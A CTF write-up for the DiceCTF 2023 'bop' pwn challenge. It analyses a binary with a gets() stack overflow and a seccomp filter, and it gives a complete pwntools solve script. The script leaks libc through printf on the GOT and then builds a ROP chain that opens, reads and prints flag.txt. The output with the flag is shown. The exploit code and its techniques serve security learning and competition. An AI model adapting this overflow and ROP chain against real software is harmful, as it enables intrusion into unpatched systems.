pwn/bop | DiceCTF 2023
Reading and printing the flag with a ROP chain
This write-up is also posted on my website at https://www.alexyzhang.dev/write-ups/dicectf-2023/bop/.
The Challenge
The challenge source is available at https://github.com/dicegang/dicectf-2023-challenges/tree/main/pwn/bop. We were provided with a binary, a Dockerfile, and no challenge description. I did the usual setup with pwninit, which says it failed to unstrip libc for some reason, although it doesn’t seem to cause any issues.
[ctf@fedora-ctf bop]$ file bop
bop: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=f2afdf22115cea090713fcfdee969d64fcce8d63, for GNU/Linux 3.2.0, stripped
[ctf@fedora-ctf bop]$ checksec bop
[*] '/home/ctf/bop/bop'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[ctf@fedora-ctf bop]$ cat Dockerfile
FROM pwn.red/jail:0.3.1
COPY --from=ubuntu@sha256:bffb6799d706144f263f4b91e1226745ffb5643ea0ea89c2f709208e8d70c999 / /srv
COPY flag.txt /srv/app/
COPY bop /srv/app/run
[ctf@fedora-ctf bop]$ podman run -it --rm -v .:/app:Z -w /app ubuntu@sha256:bffb6799d706144f263f4b91e1226745ffb5643ea0ea89c2f709208e8d70c999
Resolved "ubuntu" as an alias (/etc/containers/registries.conf.d/000-shortnames.conf)
Trying to pull docker.io/library/ubuntu@sha256:bffb6799d706144f263f4b91e1226745ffb5643ea0ea89c2f709208e8d70c999...
Getting image source signatures
Copying blob b549f31133a9 done
Copying config e40cf56b4b done
Writing manifest to image destination
Storing signatures
root@0fed93dc6680:/app# ldd bop
linux-vdso.so.1 (0x00007ffd925d5000)
libseccomp.so.2 => /lib/x86_64-linux-gnu/libseccomp.so.2 (0x00007fa0737da000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fa0735e8000)
/lib64/ld-linux-x86-64.so.2 (0x00007fa073800000)
root@0fed93dc6680:/app# cp /lib/x86_64-linux-gnu/libseccomp.so.2 /lib/x86_64-linux-gnu/libc.so.6 /lib64/ld-linux-x86-64.so.2 .
root@0fed93dc6680:/app# exit
exit
[ctf@fedora-ctf bop]$ pwninit --bin bop --libc libc.so.6 --ld ld-linux-x86-64.so.2
bin: bop
libc: libc.so.6
ld: ld-linux-x86-64.so.2
unstripping libc
https://launchpad.net/ubuntu/+archive/primary/+files//libc6-dbg_2.31-0ubuntu9.9_amd64.deb
warning: failed unstripping libc: libc deb error: failed to find file in data.tar
copying bop to bop_patched
running patchelf on bop_patched
writing solve.py stub
Note that the binary has partial RELRO, no canary, and no PIE.
Decompiling the main
function in Ghidra results in this:
void main(void)
{
char buffer [32];
setbuf(stdin,(char *)0x0);
setbuf(stdout,(char *)0x0);
setbuf(stderr,(char *)0x0);
printf("Do you bop? ");
gets(buffer);
return;
}
So we have an unlimited stack buffer overflow, which should be pretty easy to exploit if there are useful gadgets. I noticed that there were some other functions, and after poking around a little bit I found this:
void FUN_00401216(void)
{
int load_result;
undefined8 seccomp_policy;
seccomp_policy = seccomp_init(0);
seccomp_rule_add(seccomp_policy,0x7fff0000,2,0);
seccomp_rule_add(seccomp_policy,0x7fff0000,0,0);
seccomp_rule_add(seccomp_policy,0x7fff0000,1,0);
seccomp_rule_add(seccomp_policy,0x7fff0000,0x3c,0);
seccomp_rule_add(seccomp_policy,0x7fff0000,0xe7,0);
load_result = seccomp_load(seccomp_policy);
if (load_result < 0) {
perror("seccomp_load");
/* WARNING: Subroutine does not return */
exit(1);
}
return;
}
The function sets up seccomp with a policy that allows read
, write
, open
, exit
, and exit_group
.
I guessed that this is a constructor function which is automatically called before main
, and I set a breakpoint on the function in gdb to make sure that it actually gets called:
[ctf@fedora-ctf bop]$ gdb bop_patched
...
gef➤ b *0x401216
Breakpoint 1 at 0x401216
gef➤ r
...
Breakpoint 1, 0x0000000000401216 in ?? ()
[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────── registers ────
$rax : 0x0
$rbx : 0x1
$rcx : 0x00000000401370 → endbr64
$rdx : 0x007fffffffe2e8 → 0x007fffffffe58b → "SHELL=/bin/bash"
$rsp : 0x007fffffffe1a8 → 0x000000004013bd → add rbx, 0x1
$rbp : 0x2
$rsi : 0x007fffffffe2d8 → 0x007fffffffe571 → "/home/ctf/bop/bop_patched"
$rdi : 0x1
$rip : 0x00000000401216 → endbr64
$r8 : 0x0
$r9 : 0x007ffff7fe0d60 → endbr64
$r10 : 0x0
$r11 : 0x007ffff7f628c8 → 0x010000000940104d
$r12 : 0x1
$r13 : 0x007fffffffe2d8 → 0x007fffffffe571 → "/home/ctf/bop/bop_patched"
$r14 : 0x007fffffffe2e8 → 0x007fffffffe58b → "SHELL=/bin/bash"
$r15 : 0x00000000403df8 → 0x00000000401210 → endbr64
$eflags: [zero carry parity adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00
───────────────────────────────────────────────────────────────────── stack ────
0x007fffffffe1a8│+0x0000: 0x000000004013bd → add rbx, 0x1 ← $rsp
0x007fffffffe1b0│+0x0008: 0x007ffff7fa42e8 → 0x0000000000000000
0x007fffffffe1b8│+0x0010: 0x00000000401370 → endbr64
0x007fffffffe1c0│+0x0018: 0x0000000000000000
0x007fffffffe1c8│+0x0020: 0x00000000401130 → endbr64
0x007fffffffe1d0│+0x0028: 0x007fffffffe2d0 → 0x0000000000000001
0x007fffffffe1d8│+0x0030: 0x0000000000000000
0x007fffffffe1e0│+0x0038: 0x0000000000000000
─────────────────────────────────────────────────────────────── code:x86:64 ────
0x40120c nop DWORD PTR [rax+0x0]
0x401210 endbr64
0x401214 jmp 0x4011a0
●→ 0x401216 endbr64
0x40121a push rbp
0x40121b mov rbp, rsp
0x40121e sub rsp, 0x10
0x401222 mov edi, 0x0
0x401227 call 0x4010b0 <seccomp_init@plt>
─────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "bop_patched", stopped 0x401216 in ?? (), reason: BREAKPOINT
───────────────────────────────────────────────────────────────────── trace ────
[#0] 0x401216 → endbr64
[#1] 0x4013bd → add rbx, 0x1
[#2] 0x7ffff7dd7010 → __libc_start_main()
[#3] 0x40115e → hlt
────────────────────────────────────────────────────────────────────────────────
With the seccomp filter, we can’t spawn a shell since we can’t do execve
.
However, we can use ROP to open the flag file, read the flag into memory, and print it out.
Building the ROP Chain
Here are the gadgets in the binary:
[ctf@fedora-ctf bop]$ xgadget bop
TARGET 0 - 'bop': ELF-X64, 0x00000000401130 entry, 1013/1 executable bytes/segments
0x000000004011be: adc [rax], edi; test rax, rax; je short 0x00000000004011d0; mov edi, 0x404068; jmp rax;
0x00000000401159: adc eax, 0x2e92; hlt; nop; endbr64; ret;
0x0000000040117c: adc edi, [rax]; test rax, rax; je short 0x0000000000401190; mov edi, 0x404068; jmp rax;
0x0000000040100e: add [rax-0x7b], cl; shl byte ptr [rdx+rax-0x1], 0xd0; add rsp, 0x8; ret;
0x000000004013db: add [rax], al; add [rax], al; add bl, dh; nop edx, edi; ret;
0x000000004013dc: add [rax], al; add [rax], al; endbr64; ret;
0x000000004011fa: add [rax], al; add [rbp-0x3d], ebx; nop; ret;
0x000000004011f9: add [rax], al; add [rbp-0x3d], ebx; nop; ret;
0x000000004013ad: add [rax], al; add [rcx+rcx*4-0xe], cl; mov rsi, r13; mov edi, r12d; call qword ptr [r15+rbx*8];
0x000000004013dd: add [rax], al; add bl, dh; nop edx, edi; ret;
0x000000004013de: add [rax], al; endbr64; ret;
0x000000004013e6: add [rax], al; endbr64; sub rsp, 0x8; add rsp, 0x8; ret;
0x0000000040115c: add [rax], al; hlt; nop; endbr64; ret;
0x0000000040115b: add [rax], al; hlt; nop; endbr64; ret;
0x000000004013ae: add [rax], al; mov rdx, r14; mov rsi, r13; mov edi, r12d; call qword ptr [r15+rbx*8];
0x0000000040100d: add [rax], al; test rax, rax; je short 0x0000000000401016; call rax;
0x00000000401180: add [rax], al; test rax, rax; je short 0x0000000000401190; mov edi, 0x404068; jmp rax;
0x000000004011c2: add [rax], al; test rax, rax; je short 0x00000000004011d0; mov edi, 0x404068; jmp rax;
0x000000004011fc: add [rbp-0x3d], ebx; nop; ret;
0x000000004013af: add [rcx+rcx*4-0xe], cl; mov rsi, r13; mov edi, r12d; call qword ptr [r15+rbx*8];
0x000000004011fb: add [rcx], al; pop rbp; ret;
0x0000000040115d: add ah, dh; nop; endbr64; ret;
0x0000000040118b: add bh, bh; loopne 0x00000000004011f5; nop; ret;
0x000000004013df: add bl, dh; nop edx, edi; ret;
0x000000004013e7: add bl, dh; nop edx, edi; sub rsp, 0x8; add rsp, 0x8; ret;
0x00000000401189: add dil, dil; loopne 0x00000000004011f5; nop; ret;
0x000000004011f7: add eax, 0x2eab; add [rbp-0x3d], ebx; nop; ret;
0x0000000040100a: add eax, 0x2fe9; test rax, rax; je short 0x0000000000401016; call rax;
0x00000000401017: add esp, 0x8; ret;
0x00000000401016: add rsp, 0x8; ret;
0x000000004013b9: call qword ptr [r15+rbx*8];
0x00000000401362: call qword ptr [rax+0x2e66c3c9];
0x000000004012f5: call qword ptr [rax+0xff3c3c9];
0x0000000040103e: call qword ptr [rax-0x5e1f00d];
0x000000004013ba: call qword ptr [rdi+rbx*8];
0x00000000401014: call rax;
0x00000000401163: cli; ret;
0x000000004013eb: cli; sub rsp, 0x8; add rsp, 0x8; ret;
0x00000000401160: endbr64; ret;
0x000000004013e8: endbr64; sub rsp, 0x8; add rsp, 0x8; ret;
0x000000004013bc: fisttp word ptr [rax-0x7d], st; ret;
0x0000000040115e: hlt; nop; endbr64; ret;
0x000000004011f5: inc esi; add eax, 0x2eab; add [rbp-0x3d], ebx; nop; ret;
0x00000000401012: je short 0x0000000000401016; call rax;
0x00000000401185: je short 0x0000000000401190; mov edi, 0x404068; jmp rax;
0x000000004011c7: je short 0x00000000004011d0; mov edi, 0x404068; jmp rax;
0x0000000040118c: jmp rax;
0x000000004012f7: leave; ret;
0x0000000040118d: loopne 0x00000000004011f5; nop; ret;
0x000000004011f6: mov byte ptr [rip+0x2eab], 0x1; pop rbp; ret;
0x0000000040117d: mov eax, 0x0; test rax, rax; je short 0x0000000000401190; mov edi, 0x404068; jmp rax;
0x000000004011bf: mov eax, 0x0; test rax, rax; je short 0x00000000004011d0; mov edi, 0x404068; jmp rax;
0x00000000401009: mov eax, [rip+0x2fe9]; test rax, rax; je short 0x0000000000401016; call rax;
0x00000000401187: mov edi, 0x404068; jmp rax;
0x000000004013b7: mov edi, esp; call qword ptr [r15+rbx*8];
0x000000004013b6: mov edi, r12d; call qword ptr [r15+rbx*8];
0x000000004013b1: mov edx, esi; mov rsi, r13; mov edi, r12d; call qword ptr [r15+rbx*8];
0x000000004013b4: mov esi, ebp; mov edi, r12d; call qword ptr [r15+rbx*8];
0x00000000401008: mov rax, [rip+0x2fe9]; test rax, rax; je short 0x0000000000401016; call rax;
0x000000004013b0: mov rdx, r14; mov rsi, r13; mov edi, r12d; call qword ptr [r15+rbx*8];
0x000000004013b3: mov rsi, r13; mov edi, r12d; call qword ptr [r15+rbx*8];
0x000000004013b2: mov rsi, r13; mov edi, r12d; call qword ptr [r15+rbx*8];
0x000000004013d7: nop [rax+rax]; endbr64; ret;
0x000000004013d5: nop [rax+rax]; endbr64; ret;
0x000000004013d8: nop [rax+rax]; endbr64; ret;
0x000000004013a9: nop [rax]; mov rdx, r14; mov rsi, r13; mov edi, r12d; call qword ptr [r15+rbx*8];
0x00000000401161: nop edx, edi; ret;
0x000000004013e9: nop edx, edi; sub rsp, 0x8; add rsp, 0x8; ret;
0x0000000040115f: nop; endbr64; ret;
0x000000004012f6: nop; leave; ret;
0x0000000040118f: nop; ret;
0x00000000401007: or [rax-0x75], cl; add eax, 0x2fe9; test rax, rax; je short 0x0000000000401016; call rax;
0x00000000401186: or [rdi+0x404068], edi; jmp rax;
0x000000004013b8: out 0x41, eax; call qword ptr [rdi+rbx*8];
0x000000004013b5: out dx, al; mov edi, r12d; call qword ptr [r15+rbx*8];
0x000000004013cc: pop r12; pop r13; pop r14; pop r15; ret;
0x000000004013ce: pop r13; pop r14; pop r15; ret;
0x000000004013d0: pop r14; pop r15; ret;
0x000000004013d2: pop r15; ret;
0x000000004013cf: pop rbp; pop r14; pop r15; ret;
0x000000004011fd: pop rbp; ret;
0x000000004013d3: pop rdi; ret;
0x000000004013d1: pop rsi; pop r15; ret;
0x000000004013cd: pop rsp; pop r13; pop r14; pop r15; ret;
0x00000000401188: push 0xffffffffff004040; loopne 0x00000000004011f5; nop; ret;
0x0000000040101a: ret;
0x0000000040105b: sar edi, 0xff; call qword ptr [rax-0x5e1f00d];
0x00000000401184: shl byte ptr [rcx+rcx-0x41], 0x68; add dil, dil; loopne 0x00000000004011f5; nop; ret;
0x00000000401011: shl byte ptr [rdx+rax-0x1], 0xd0; add rsp, 0x8; ret;
0x000000004011f8: stosd [rdi]; add [rax], al; add [rbp-0x3d], ebx; nop; ret;
0x000000004013ed: sub esp, 0x8; add rsp, 0x8; ret;
0x00000000401005: sub esp, 0x8; mov rax, [rip+0x2fe9]; test rax, rax; je short 0x0000000000401016; call rax;
0x000000004013ec: sub rsp, 0x8; add rsp, 0x8; ret;
0x00000000401004: sub rsp, 0x8; mov rax, [rip+0x2fe9]; test rax, rax; je short 0x0000000000401016; call rax;
0x000000004013da: test [rax], al; add [rax], al; add [rax], al; endbr64; ret;
0x00000000401010: test eax, eax; je short 0x0000000000401016; call rax;
0x00000000401183: test eax, eax; je short 0x0000000000401190; mov edi, 0x404068; jmp rax;
0x000000004011c5: test eax, eax; je short 0x00000000004011d0; mov edi, 0x404068; jmp rax;
0x0000000040100f: test rax, rax; je short 0x0000000000401016; call rax;
0x00000000401182: test rax, rax; je short 0x0000000000401190; mov edi, 0x404068; jmp rax;
0x000000004011c4: test rax, rax; je short 0x00000000004011d0; mov edi, 0x404068; jmp rax;
0x0000000040118e: xchg ax, ax; ret;
CONFIG [ search: ROP-JOP-SYS (default) | x_match: none | max_len: 5 | syntax: Intel | regex_filter: none ]
RESULT [ unique_gadgets: 102 | search_time: 3.438523ms | print_time: 4.63807ms ]
We have pop rdi
and pop rsi
, but no syscall
, so we’ll need to use libc.
I leaked libc by calling printf
on the GOT and then looped main
to read in the next ROP chain:
from pwn import *
exe = ELF("bop_patched")
libc = ELF("libc.so.6")
ld = ELF("ld-linux-x86-64.so.2")
context.binary = exe
# r = gdb.debug([exe.path])
r = remote("mc.ax", 30284)
# Found with GEF's pattern command
offset = 40
main = 0x4012f9
rop1 = ROP(exe, badchars=b'\n')
rop1.raw(rop1.find_gadget(["ret"]))
rop1.printf(exe.got.setbuf)
rop1.raw(rop1.find_gadget(["ret"]))
rop1.raw(main)
log.info(rop1.dump())
r.sendlineafter(b"bop? ", rop1.generatePadding(0, offset) + rop1.chain())
leak = int.from_bytes(r.recvuntil(b"Do", drop=True), "little")
log.info(f"{hex(leak)=}")
libc.address = leak - libc.symbols.setbuf
log.info(f"{hex(libc.address)=}")
Next, we have to open the flag file.
The Dockerfile indicates that it’s named flag.txt
, and we need to write that string into memory at a known address so that we can pass it to the open
syscall.
I looked for gadgets that move a value from a register that we control to the address stored in another register that we control.
libc has plenty of gadgets for controlling registers, and I decided to use a mov [rax], rdi
gadget at 0x9a0cf
to write flag.txt
.
We also need some writable memory at a known address, and I used the bss segment for that.
# mov [rax], rdi
write_gadget = libc.address + 0x9a0cf
rop2 = ROP([libc, exe], badchars=b'\n')
# Write "flag.txt" to bss
rop2(rax=exe.bss(), rdi=b"flag.txt")
rop2.raw(write_gadget)
# Write a null terminator
rop2(rax=exe.bss() + 8, rdi=0)
rop2.raw(write_gadget)
# Open the flag file
rop2(rax=constants.SYS_open, rdi=exe.bss(), rsi=0)
rop2.raw(rop2.find_gadget(["syscall", "ret"]))
Now we just need to read the flag into memory and write it to stdout. The flag file will have the smallest available file descriptor, which is 3 since 0, 1, and 2 are used for stdin, stdout, and stderror. I used bss as scratch space again.
# Read up to 100 bytes from fd 3 to bss
rop2(rax=constants.SYS_read, rdi=3, rsi=exe.bss(), rdx=100)
rop2.raw(rop2.find_gadget(["syscall", "ret"]))
# Write up to 100 bytes from bss to stdout
rop2(rax=constants.SYS_write, rdi=constants.STDOUT_FILENO, rsi=exe.bss(), rdx=100)
rop2.raw(rop2.find_gadget(["syscall"]))
Lastly, we send the second payload and receive the flag:
r.sendlineafter(b"bop? ", rop2.generatePadding(0, offset) + rop2.chain())
r.interactive()
Full solve script:
#!/usr/bin/env python3
from pwn import *
exe = ELF("bop_patched")
libc = ELF("libc.so.6")
ld = ELF("ld-linux-x86-64.so.2")
context.binary = exe
# r = gdb.debug([exe.path])
r = remote("mc.ax", 30284)
offset = 40
main = 0x4012f9
rop1 = ROP(exe, badchars=b'\n')
rop1.raw(rop1.find_gadget(["ret"]))
rop1.printf(exe.got.setbuf)
rop1.raw(rop1.find_gadget(["ret"]))
rop1.raw(main)
log.info(rop1.dump())
r.sendlineafter(b"bop? ", rop1.generatePadding(0, offset) + rop1.chain())
leak = int.from_bytes(r.recvuntil(b"Do", drop=True), "little")
log.info(f"{hex(leak)=}")
libc.address = leak - libc.symbols.setbuf
log.info(f"{hex(libc.address)=}")
# mov [rax], rdi
write_gadget = libc.address + 0x9a0cf
rop2 = ROP([libc, exe], badchars=b'\n')
rop2(rax=exe.bss(), rdi=b"flag.txt")
rop2.raw(write_gadget)
rop2(rax=exe.bss() + 8, rdi=0)
rop2.raw(write_gadget)
rop2(rax=constants.SYS_open, rdi=exe.bss(), rsi=0)
rop2.raw(rop2.find_gadget(["syscall", "ret"]))
rop2(rax=constants.SYS_read, rdi=3, rsi=exe.bss(), rdx=100)
rop2.raw(rop2.find_gadget(["syscall", "ret"]))
rop2(rax=constants.SYS_write, rdi=constants.STDOUT_FILENO, rsi=exe.bss(), rdx=100)
rop2.raw(rop2.find_gadget(["syscall"]))
log.info(rop2.dump())
r.sendlineafter(b"bop? ", rop2.generatePadding(0, offset) + rop2.chain())
r.interactive()
Output:
[ctf@fedora-ctf bop]$ ./solve.py
[*] '/home/ctf/bop/bop_patched'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x3ff000)
RUNPATH: b'.'
[*] '/home/ctf/bop/libc-2.31.so'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] '/home/ctf/bop/ld-2.31.so'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
[+] Opening connection to mc.ax on port 30284: Done
[*] Loaded 14 cached gadgets for './bop_patched'
[*] 0x0000: 0x40101a ret
0x0008: 0x4013d3 pop rdi; ret
0x0010: 0x404030 [arg0] rdi = got.setbuf
0x0018: 0x4010f4 printf
0x0020: 0x40101a ret
0x0028: 0x4012f9
[*] hex(leak)='0x7feffe3f5ad0'
[*] hex(libc.address)='0x7feffe36a000'
[*] Loaded 196 cached gadgets for './libc-2.31.so'
[*] 0x0000: 0x7feffe3a0174 pop rax; ret
0x0008: 0x404080 stdout
0x0010: 0x7feffe38db6a pop rdi; ret
0x0018: b'flag.txt' b'flag.txt'
0x0020: 0x7feffe4040cf
0x0028: 0x7feffe3a0174 pop rax; ret
0x0030: 0x404088
0x0038: 0x7feffe38db6a pop rdi; ret
0x0040: 0x0
0x0048: 0x7feffe4040cf
0x0050: 0x7feffe3a0174 pop rax; ret
0x0058: 0x2 SYS_open
0x0060: 0x7feffe39001f pop rsi; ret
0x0068: 0x0
0x0070: 0x7feffe38db6a pop rdi; ret
0x0078: 0x404080 stdout
0x0080: 0x7feffe3cd0a9 syscall; ret
0x0088: 0x7feffe4acc92 pop rdx; ret
0x0090: 0x64
0x0098: 0x7feffe3a0174 pop rax; ret
0x00a0: 0x0 SYS_read
0x00a8: 0x7feffe39001f pop rsi; ret
0x00b0: 0x404080 stdout
0x00b8: 0x7feffe38db6a pop rdi; ret
0x00c0: 0x3
0x00c8: 0x7feffe3cd0a9 syscall; ret
0x00d0: 0x7feffe4acc92 pop rdx; ret
0x00d8: 0x64
0x00e0: 0x7feffe3a0174 pop rax; ret
0x00e8: 0x1 SYS_write
0x00f0: 0x7feffe39001f pop rsi; ret
0x00f8: 0x404080 stdout
0x0100: 0x7feffe38db6a pop rdi; ret
0x0108: 0x1 STDOUT_FILENO
0x0110: 0x7feffe38c84d syscall
[*] Switching to interactive mode
dice{ba_da_ba_da_ba_be_bop_bop_bodda_bope_f8a01d8ec4e2}
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00[*] Got EOF while reading in interactive